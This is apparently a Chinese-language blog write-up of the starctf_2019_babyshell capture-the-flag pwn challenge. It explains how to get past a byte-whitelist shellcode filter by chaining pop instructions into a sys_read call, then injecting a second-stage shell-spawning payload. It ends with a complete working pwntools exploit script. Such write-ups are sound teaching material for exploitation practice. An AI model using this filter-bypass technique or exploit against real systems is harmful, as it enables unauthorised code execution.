• starctf_2019_babyshell


    starctf_2019_babyshell

    有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来注入shellcode主体。

    我们拿starctf_2019_babyshell这道题来讲一讲,首先检查一下保护。

    IDA分析

    image-20200515161321699

    首先读入shellcode,然后检查shellcode是否合法,接着执行我们的shellcode.

    image-20200515161539246

    这个是检查shellcode合法的函数,遍历shellcode的每个字符,在0x400987处找是否有匹配。

    我们再来看看0x400987处的数据。

    image-20200515161708993

    这里我数据强制转换成了代码,也就是说我们只要输入的shellcode在这里面出现就可以了。比如说我们可以使用pop rdxpop rdisyscall ,根据我之前说的这里shellcode受到了限制,所以我们尽力去构造sys_read 来注入我们自己的shellcode。

    要调用sys_read我们要控制rax=0 rdi=0 rsi rdx

    image-20200515170059625

    这里eax等于0了并且rsi指向buf(也就是我们第一次写的shellcode),我们只要控制rdi=0,rdx为一定大小的值就可以了。

    我们把程序下断点到call rdx

    image-20200515162800369

    观察栈的内容

    image-20200515165907392

    pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall
    

    shellcode怎么写都可以只要保证rdi为零,rdx为一个合适的值。

    调用sys_read覆写我们的shellcode

    image-20200515163151449

    'a'*0xC + asm(shellcraft.sh()
    

    exp:

    from pwn import *
    context(log_level='debug',os='linux',arch='amd64')
    p = process('./starctf_2019_babyshell')
    
    #gdb.attach(p,'b *0x4008CB')
    shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
    p.sendlineafter(' plz:
    ',shellcode)
    
    sleep(1)
    p.sendline('a'*0xC + asm(shellcraft.sh()))
    
    p.interactive()
    
    
  • 相关阅读:
    c语言 作用域、存储期、链接属性汇总
    进程上下文切换分析
    进程装载过程分析(execve系统调用分析)
    fork 创建进程的过程分析
    系统调用软中断处理程序system_call分析
    linux 系统调用分析
    8分钟带你深入浅出搞懂Nginx
    控制反转
    JAVA泛型(转)
    AOP(转)
  • 原文地址:https://www.cnblogs.com/Rookle/p/12895895.html
Copyright © 2020-2023  润新知